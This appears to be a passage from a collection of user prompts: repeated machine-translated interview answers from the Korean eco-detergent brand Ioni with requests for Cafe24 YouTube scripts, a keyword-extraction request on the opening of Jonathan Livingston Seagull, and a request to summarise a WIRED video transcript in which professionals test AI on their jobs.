bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following is an interview with eco-friendly detergent brand \'Ioni\'. Based on the contents below, please write a YouTube script that emphasizes the values \u200b\u200bthat the brand pursues. The content about the host is removed so that the phrase that goes into the title and thumbnail is included.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.\ntranslation result\nThe following is an interview with eco-friendly detergent brand \'Ioni\'. Please use this information to create a plan for YouTube video production.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.' -'Please extract keywords from this: Part 1\nIt was morning, and the new sun sparkled gold across the ripples of a gentle sea. \nA mile from shore a fishing boat chummed the water, and the word for Breakfast Flock flashed through the air, till a crowd of a thousand seagulls came to dodge and fight for bits of food. It was another busy day beginning. \n But way off alone, out by himself beyond boat and shore, Jonathan Livingston Seagull was practicing. A hundred feet in the sky he lowered his webbed feet, lifted his beak, and strained to hold a painful hard twisted curve through his wings. The curve meant that he would fly slowly, and now he slowed until the wind was a whisper in his face, until the ocean stood still beneath him. He narrowed his eyes in fierce concentration, held his breath, forced one ... single ... more ... inch ... of ... curve .... Then his feathers ruffled, he stalled and fell. \n Seagulls, as you know, never falter, never stall. To stall in the air is for them disgraced and it is dishonor. \n But Jonathan Livingston Seagull, unashamed, stretching his wings again in that trembling hard curve - slowing, slowing, and stalling once more - was no ordinary bird. \n Most gulls didn\'t bother to learn more than the simplest facts of flight \xadhow to get from shore to food and back again. For most gulls, it is not flying that matters, but eating. For this gull, through, it was not eating that mattered, but flight. More than anything else, Jonathan Livingston Seagull loved to fly. \n This kind of thinking, he found, is not the way to make one\'s self popular with other birds. Even his parents were dismayed as Jonathan spent whole days alone, making hundreds of low-level glides, experimenting. \n He didn\'t know why, for instance, but when he flew at altitudes less than half his wingspan above the water, he could stay in the air longer, with less effort. His glides ended not with the usual feet-down splash into the sea, but with a long flat wake as he touched the surface with his feet tightly streamlined against his body. When he began sliding in to feet-up landings on the beach, then pacing the length of his slide in the sand, his parents were very much dismayed indeed. \nWhy, Jon, why?" his mother asked. "Why is it so hard to be like the rest of the flock, Jon? Why can\'t you leave low flying to the pelicans, the albatross? \n"I don\'t mind being bone and feathers, Mum. I just want to know what I can do in the air and what I can\'t, that\'s all. I just want to know." \n"See here, Jonathan," said his father, not unkindly. "Winter isn\'t far away. Boats will be few, and the surface fish will be swimming deep. If you must study,. then study food, and how to get it. This flying business is all very well, but you can\'t eat a glide, you know. Don\'t you forget that the reason you fly is to eat."\n Jonathan nodded obediently. For the next few days he tried to be behave like the other gulls; he really tried, screeching and fighting with the flock around the piers and fishing boats, diving on scraps of fish and bread. But he couldn\'t make it work. \nIt\'s all so pointless, he thought, deliberately dropping a hard-won anchovy to a hungry old gull chasing him. I could be spending all this time learning to fly. There\'s so much to learn! \nIt wasn\'t long before Jonathan Gull was off by himself again, far out at see, hungry, happy, learning. \n The subject was speed, and in a week\'s practice he learned more about speed than the fastest gull alive. \n From a thousand feet, flapping his wings as hard as he could, he pushed over into a blazing steep dive toward the waves, and learned why seagulls don\'t make blazing steep power-dives. In just six seconds he was moving seventy miles per hour, the speed at which one\'s wing goes unstable on the upstroke. \n Time after time it happened. Careful as he was, working at the very peak of his ability, he lost control at high speed. \n Climb to a thousand feet. Full power straight ahead first, then push over, flapping, to a vertical dive. Then, every time, his left wing stalled on an upstroke, he\'d roll violently left, stall his right wing recovering, and flick like fire into a wild tumbling spin to the right. \n He couldn\'t be careful enough on that upstroke. Ten times he tried, but all ten times, as he passed through seventy miles per hour, he burst into a churning mass of feathers, out of control, crashing down into the water. \n They key, he thought as last, dripping wet, must be to hold the wings still \n From two thousand feet he tried again, rolling into his dive, beak straight down, wings full out and stable from the moment he passed fifty miles per hour. It took tremendous strength, but it worked. In ten seconds he has blurred through ninety miles per hour. Jonathan had set a world speed record for seagulls!\n But victory was short-lived. The instant he began his pullout, the instant he changed the angle of his wings, he snapped into that same terrible uncontrolled disaster, and at ninety miles per hour it hit him like dynamite. Jonathan Seagull exploded in midair and smashed down into a brick-hard sea. \n When he came to, it was well after dark, and he floated in moonlight on the surface of the ocean. His wings were ragged bars of lead, but the weight of failure was even heavier on his back. He wished, feebly, that the weight could be just enough to drag him gently down to the bottom, and end it all. \n As he sank low in the water, a strange hollow voice sounded within him. There\'s no way around it. I am a seagull. I am limited by my nature. If I were meant to learn so much about flying, I\'d have a falcon\'s short wings, and live on mice instead of fish. My father was right. I must forget this foolishness. I must fly home to the Flock and be content as I am, as a poor limited seagull. \n The voice faded, and Jonathan agreed. The place for a seagull at night is on shore, and from this moment forth, he vowed, he would be a normal gull. It would make everyone happier. \n He pushed wearily away from the dark water and flew toward the land, grateful for what he had learned about work-saving low-altitude flying. \n But no, he thought. I am done with the way I was, I am done with everything I learned. I am a seagull like every other seagull, and I will fly like one. So he climbed painfully to a hundred feet and flapped his wings harder, pressing for shore. \n He felt better for his decision to be just another one of the flock. there would be no ties now to the force that had driven him to learn, there would be no more challenge and no more failure. And it was pretty, just to stop thinking, and fly through the dark, toward the lights above the beach. \nDark! The hollow voice cracked in alarm. Seagulls never fly in the dark!\n Jonathan was not alert enough to listen. It\'s pretty, he thought. The moon and the lights twinkling on the water, throwing out little beacon-trails though the \n Get Down! Seagulls never fly in the dark! If you were meant to fly in the dark, you\'d have the eyes f an owl! You\'d have charts for brains! You\'d have a falcon\'s short wings!\n There in the night, a hundred feet in the air, Jonathan Livingston Seagull \xadblinked. His pain, his resolutions, vanished. \n Short Wings. A falcon\'s short wings!\n That\'s the answer! What a fool I\'ve been! All I need is a tiny little wing, all I need is to fold most of my wings and fly on just the tips alone! Short wings!\n He climbed two thousand feet above the black sea, and without a moment for thought of failure and death, he brought his forewings tightly in to his body, left only the narrow swept daggers of his wingtips extended into the wind, and fell into a vertical dive. \n The wind was a monster roar at his head. Seventy miles per hour, ninety, a hundred and twenty and faster still. The wing-strain now at a hundred and forty miles per hour wasn\'t nearly as hard as it had been before at seventy, and with the faintest twist of his wingtips he eased out of the dive and shot above the waves, a grey cannonball under the moon. \n He closed his eyes to slits against the wind and rejoiced. A hundred forty miles per hour! and under control! If I dive from five thousand feet instead of two thousand, I wonder how fast... \n His vows of a moment before were forgotten, swept away in that great swift wind. Yet he felt guiltless, breaking the promises he had made himself. Such promises are only for the gulls that accept the ordinary. One who has touched excellence in his learning has no need of that kind of promise. \n By sunup, Jonathan Gull was practicing again. From five thousand feet the fishing boats were specks in the flat blue water, Breakfast Flock was a faint cloud of dust motes, circling. \n He was alive, trembling ever so slightly with delight, proud that his fear was under control. Then without ceremony he hugged in his forewings, extended his short, angled wingtips, and plunged directly toward the sea. By the time he had passed four thousand feet he had reached terminal velocity, the wind was a solid beating wall of sound against which he could move no faster. He was flying now straight down, at two hundred fourteen miles per hour. He swallowed, knowing that if his wings unfolded at that speed he\'d be blown into a million tiny shreds of seagull. But the speed was power, and the' -'Summarize the following.\nTitle: "(2) A.I. Tries 20 Jobs | WIRED - YouTube"\nTranscript: "I\'m a lawyer copywriter Doctor music producer personal trainer software engineer DJ I want to know can AI do my job I\'m a software engineer where I work we\'re always trying to know where can I find the best craft beer please generate the code for a website using HTML CSS and flask that tells me where there\'s craft beer near me this is just raw code you actually need to run the code somewhere I\'m copying pasting the code into separate files and it generates a website how cool here\'s our website all three pieces the back end the front end and The Styling did actually make something that was human readable that that generates a website that we can look at and understand what it does does seem like a huge feat to me I\'m a doctor this prompt is something that a patient might enter I have a fever rash and body aches the rash looks like small welds on my genitals do I have monkey pox the response is pretty solid in the sense that it\'s unlikely that you have monkey pox the specific thing I got right was that the monkey pox rash is actually not prominent on the genital area it goes on to say that a rash in the general area most likely is an STI the rest of the answer is just fluff talking to your healthcare provider which is pretty obvious can AI do my job I don\'t think it\'s there yet I think the AI right now is really good for a first year medical student I\'m a graphic designer Rebrand the McDonald\'s logo as vegan I\'m seeing four image variations it\'s struggling with text it\'s looking sort of like characters but in some sort of fictional language I wouldn\'t send any of these straight away to McDonald\'s they do each need a little bit of work the fourth one I think is maybe the strongest it\'s leaning towards more organic colors overall I don\'t think AI can do my job I kind of see this as a more evolved Pinterest I can use it as a base for inspiration but I don\'t think it will replace me all together or so I hope I\'m a therapist people come to me when they want help in dating or relationships please answer the following question in a way a relationship therapist would why do I always fight with my partners conflicts are a natural part of any relationship fighting or arguing is not necessarily a sign of a bad relationship great some possible factors include communication issues stress and life events different conflict styles how do I know what my conflict style is reflect on your past conflicts observe your behavior during conflicts most people are incapable of reflecting on their conflict style during conflicts so while this is great information I\'m not sure how actionable it is what AI has done is it\'s just dumped a bunch of information were I to be a client I would probably want my money back that\'s just me so can AI do my job I would say have self-help books done my job people don\'t lack knowledge they lack the ability to follow through I\'m a stand-up comedian and I want to know if an AI can do my job write a 100 word minimum funny stand-up comedy joke let me go ahead and perform this and we\'ll see what we got online dating what a wild ride that is you know what they say swipe right for love and left for well probably just another cat person but hey at least it\'s better than meeting someone at a bar and realizing you have the same dad again like what side are you using ancestry.com that\'s a little creepy it has the Cadence right which is what\'s so fascinating to me and it\'s kind of creeping me out I did think it was cute when it was like oh swipe left on a cat person although let\'s be honest that\'s a little feline phobic I\'m not concerned about the AI yet it could take a crappier comedian\'s job but it can\'t take mine I\'m a lawyer my client is asking me whether or not they can sell someone\'s health information please write a legal memorandum about this in a true legal memorandum it would give you which sections of the regulation you\'re talking about which this is not doing it doesn\'t say what the penalties are is it criminal is it civil I don\'t really know where it\'s getting its information I don\'t know how much I can trust this if it were like a legal associate I would say go back and do a better job I\'m a news anchor I want to know if AI can do my job I have given the AEI some text to read a forest fire has blazed through a large part of the Southern mountain region of the country she didn\'t sound natural he sounded like a machine speaking the lips look weird it looked like the lips did not belong to the face and provide Aid to those affected when I speak I\'m moving my hands but I\'m also moving some of my body she wasn\'t doing that I do a newscast in Spanish now let\'s see how it does with the Spanish newscast on incendio Forrestal ha effectado una Grand Park de la region it sucked in Spanish she actually threw in some Spanglish there miles to Hector is and the accent I have Casado she definitely struggled there the AI cannot take my job for now I\'m a bartender surprise me with a Twist on a Negroni and give it a name fill a mixing glass with ice add the Gin Campari and sweet vermouth gently muddle two to three fresh Sage leaves in the glass stir the mixture until well chilled Express the orange peel over the drink release the oils and use it as a garnish there you go you have your Sage Negroni so it\'s a good classic Negroni I\'m not really getting sage just adding the sage leaves was not very creative AI didn\'t ask me any follow-up questions I would say what do you like is there a style of gin that you like I think if you want to have a truly bespoke cocktail you gotta go see a bartender I\'m a screenwriter I\'m going to give this AI a prompt that describes a scene in my latest movie and to see how well it can match it in this scene set in 1949 three World War II widows toast their younger sister Ruby\'s wedding exterior Beach day Mildred Shirley and Charlotte Frolic at the shoreline of the beach and may you never have to experience the Heartbreak that we did the character literally says exactly what like you want the story to do what\'s going on Ruby seems tense I don\'t know but I\'m going to find out just very on the nose dialogue there\'s a lot of parentheticals describing how the characters saying the Line This is a screenwriter no no you start to tip into the director\'s territory I think that AI can help with my my job in conceptual brainstorming playing out scene ideas if you get stuck on a scene but overall I don\'t think AI can do my job I\'m a music producer I\'m writing a song for a pop client please write this song and include chords for the guitar the client is heavily influenced by Lana Del Rey it looks like we\'ve gotten a chord structure and some lyrics a typical progression so not too interesting but that\'s okay so let\'s make a beat when I work with an artist that\'s looking for a specific influence I\'ll think about the BPM that that artist usually goes for [Applause] okay this is pretty good it\'s a good start another great day in the city I\'m feeling lost oh Such a Pity City Lights and heartbeats you walk in and make me complete I like that it\'s a starting point of course some of the lyrics are super corny I will admit a lot of the time that\'s how it starts for me right now these programs can\'t do my job I\'m a journalist I\'m the reviews editor at wired and I test products for a living so I asked chat gbt to write a review of a product that I\'ve actually written about in the style of my own writing when it comes to electric skateboards there are plenty of options to choose from a little boring this is pulling in data specifically from my review and so it has a lot of similar characteristics and sentences that I might typically use unfortunately I think it\'s Stripped Away a lot of the personality in the original review it kind of just took a lot of the basic details and spit out this thing that is kind of generic as for things that did right it actually brought out a lot of these specs like the 3000 watt Motors the 26 miles per hour speeds when reading this review it almost sounds like I could have written it by just reading a press release the AI cannot physically handle this product it\'s not exactly testing the product itself at that point can you really trust where the source is coming from asking chat gbt to write a review based in my voice is definitely weird I\'m a circus artist what would I ask the AI to do hmm I don\'t think there\'s anything that I can think of that I would have the AI do for me I\'m a copywriter McDonald\'s just went 100 vegan write several taglines so we\'ve got veganize your taste buds today feels like a used car salesman no animals harmed only flavor enhanced I don\'t ever go to a fast food restaurant and say I really want my flavor enhanced that\'s not something I\'m ever looking for our last one here is wow very short we\'ve got It\'s Time to Go Green did it run out of um words it typed up some general ideas which actually could help if you were brainstorming and you\'re like I have nothing at all AI could do my job at a very like a Monday morning no coffee kind of way if you wanted to pay no money and get a bad product sure hey I could do my job I\'m a personal trainer please design a fat burning weekly at home workout plan this is definitely a typical plan that someone might want to burn calories with a full body workout you\'re also doing some type of pull workout that\'s going to work your back your posterior chain and you\'re also doing some kind of push so I will say that I like that that it\'s giving a full range of those types of exercises most people know what a push-up is but do they know how to correctly do a push-up it\'s saying three sets of eight to ten reps but how much time is in between each set ideally you would want to be able to see the client in person or on a virtual call so that you can see what their form looks like I don\'t think AI can do my job I\'m a DJ I have my radio show coming up I play uplifting disco music for about two hours make a full playlist slash set list for my show it\'s hitting the Disco on the head for sure I\'ve played a few of these artists on my show before so it\'s definitely getting pretty close to maybe what a tracklist would be one of these tracks Gotta Keep On by sweet cream I looked it up and there\'s no trace of it on the internet anywhere where did it get this song from does the song actually exist AI can make a playlist being able to look out into a room and look out into a dance floor and say okay people are tired let me match that energy I don\'t think that it can do that based on what I\'ve seen I\'m a voice actor shouldn\'t cost the Earth we\'ve created a new line of compostable shoes that are made from sustainable materials I\'ve asked the AI to read this copy let\'s hear this thing fashion shouldn\'t cost the Earth we\'ve crew line of compostable hey but not great it\'s very computer-like it has a strange Cadence and so it ends every sentence like this sustainable which is not the way a human talks it can\'t change on the Fly is there a joke that I\'m supposed to get in the next line it doesn\'t understand all those things the things that come from like life experiences it\'s never going to be like the thing that you\'re going to use for like McDonald\'s commercials it\'s going to be like the things that no one really likes to do anyway like 400 hours of instruction manuals or something like that can AI do my job kinda but not really well although it still freaks me out I\'m an influencer and I want to know if AI can do my job I want chat gbt to help me with an IG caption that\'s a picture of me smiling standing at the top of my Matra in Paris Standing On Top of the World or at least on top of mamatra smiley face eyes the view from here is breathtaking the Sakura cord in my back reminding me of the city\'s Rich history and culture feeling grateful and inspired what a day it has been hashtag grateful this is like really strong but it doesn\'t necessarily capture how I would speak my audience would know that this is not me probably from the overwhelming amount of emojis I would probably say like hey y\'all or like sis that was amazing this AI program cannot do my job but it\'s very close I\'m a chef write a recipe for an Indian restaurant meal include a protein marination it\'s got definitely a lot of spices that you use in Indian cooking it\'s actually missing a key component it didn\'t include yogurt which kind of acts as a binding agent 400 Degrees 20 to 25 minutes for chicken it would probably dry it out overall I would say it\'s like a nice 8 out of 10 dish I do think a substantial part of being a chef is that creativity and coming up with dishes so in terms of that aspect of the job I think AI comes dangerously close to being able to do my job I\'m a translator please translate the opening paragraph of The Sun Also Rises into Korean structural sentence pretty good but there are so many mistakes like if you see the second sentence this is wrong translation in Korean we have casual form and then also respectful form this AI translation use basic written form in first sentence but in the second sentence he used like respect for form it\'s not consistent AI cannot do my job maybe someday it can do it but so far it\'s like it made so many mistakes I\'m a firefighter there\'s no way AI can do my job [Music]"' -'다음은 카페24 고객인 친환경 세제 브랜드 ‘이오니’ 대표님과의 인터뷰 질문과 답변 내용입니다.\n아래의 내용을 바탕으로 카페24는 고객의 열정과 창의를 독려한다는 메시지가 포함된 유튜브 영상을 제작하고자 합니다. 5000byte 이내의 유튜브 스크립트를 작성해주세요.\n1. Meaning of brand name\nIoni is an eco-friendly lifestyle brand that can be used throughout the house, starting with foam-free laundry detergent, deodorization and cleaning. The current brand name, Ioni, comes from the abbreviation of "mineral ion water" into an easy-to-call word.\n\n2. When and when to start the online store\nHan Seo-yoon, CEO of the suspicious research institute that runs Ioni. Employees working at a natural detergent factory came out and opened an online store. Household sewage is actually the biggest cause of water pollution. It was a bit disappointing that we overlooked that, so we made a product called Ioni and created an online store with the same name as a way to drastically reduce household sewage. It currently produces and supplies Ioni, which is in its fifth year 5.\n\n3. Sales Products and Business Models\nIoni undiluted solution is an ultra-high concentrated undiluted solution made of 100% food additives and can be diluted in water. It can be washed, cleaned, and deodorized without bubbles.\nBubble is the biggest culprit of water pollution. It researches and introduces various recipes and products so that you can live without foaming surfactants.\nPlastic containers for undiluted liquids are collected and reused to reduce plastic usage.\n\n4. What was the most difficult thing about operation and how to overcome it?\nIt is not easy to make a profit. We are overcoming this in various ways. For example, since it is a brand that changes the package and actively accepts customers\' opinions, this time it is changing the lid or something like this, or expanding the lineup a little. It is a very safe detergent or a very unfamiliar concept for ordinary consumers. Therefore, after using Ioni since its launch, a free refund system has been implemented if you are dissatisfied. There has never been a refund in five years.\n\n5. A company\'s growth story, including key indicators such as sales and membership numbers.\nOver the past five years, we\'ve sold 60,000 to 70,000 units. As you can see through Kakao Makers Wadiz, customer satisfaction is almost 95%. The repurchase rate is also about 60 percent. It publishes a report of Eco Social Impact every month. This report introduced a reduction of about 160 million liters of contaminated water and 64 million liters of rinse water from September 2019 to October 2022. In addition, more than 6,000 empty bottles were collected and reused, reducing about 7 tons of plastic. If you collect more than five Ioni bottles, you will receive a 500 won deposit for each bottle when you collect them online for free or return them to a nearby refill station. A reusable package project is underway to reuse these collected empty bottles.\n\n6. A word of advice to anyone who starts an online store.\nWhen I interviewed about branding, I talked about small brands. I don\'t think even the value is small just because it\'s small. Although we are a very small company now, I think we are doing very, very valuable things, so anyone who wants to share these values \u200b\u200band philosophies can create and run a brand. I don\'t want anyone to be afraid to start.\n\n7. Differentiating points from competitive brands\nIt can be washed in large quantities with very small amounts. Our Ioni detergent can be used in hand laundry or washing machines, starting with sterilization of laundry tanks. It is competitive compared to the fact that the detergent industry has increased its volume and is dividing and selling it by detergent use. It provides a recipe that can make up to 30,000 liters of deodorized water with one liter of Ioni original Ioni detergent. In addition, it can be used in a variety of ways, such as cleaning fruits and vegetables or deodorizing water for pets.\n\n8. Proud partnership or attraction investment\nWe are continuously working with these companies to reduce carbon emissions, eco-related events, and cooperation with such companies. Not too long ago, I gave a lecture at a university student named Inactors, and a student at Ewha Womans University who found out about our product said that he wanted to run a pop-up store in Ewha Womans University, so we did a pop -up store.\n\n9. Future growth strategies and expansion plans for the company\nIt started for home use, but it is estimated that less than 1% of it will be used in Korea. If you do laundry only once a day at home, you will discharge about 84 liters of contaminated water. At least 84 liters of contaminated water can be reduced by running the washing machine once a day in each household and once a day in each household. Our dream is to reduce the amount of contaminated water by changing it to such an eco-friendly detergent, even if it is not our Ioni, even if it is only 10% of Korea.\n\n10. Plans for overseas expansion\nWe went to an early childhood fair in Jakarta, Indonesia, and it was so popular that we had a meeting with many buyers. Many companies have contacted us in Japan, so we are planning to export a little to Japan this time.\n\n11. The reason why Cafe 24 was chosen as the online store construction platform.\nI don\'t have to tell you this, but I think everyone knows. Cafe24 was also the largest hosting company in Korea and it was good in that it could implement almost all the functions I wanted. At first, free templates and things like that were very well done and I liked that there was a responsive template.\nThe design is... We don\'t have a designer in our company. We\'re even designing it ourselves. There are many things to change the detail page from time to time, but if you use Edibot, you can easily and easily change and create the detail page even if you can\'t handle design tools, so I chose Cafe24 in that regard.번역결과The following are questions and answers from an interview with the CEO of eco-friendly detergent brand ‘Ioni’, a Cafe24 customer.\nBased on the information below, Cafe24 wants to create a YouTube video with a message that encourages passion and creativity of customers. Please write a YouTube script within 5000 bytes.\n1. Meaning of brand name\nIoni is an eco-friendly 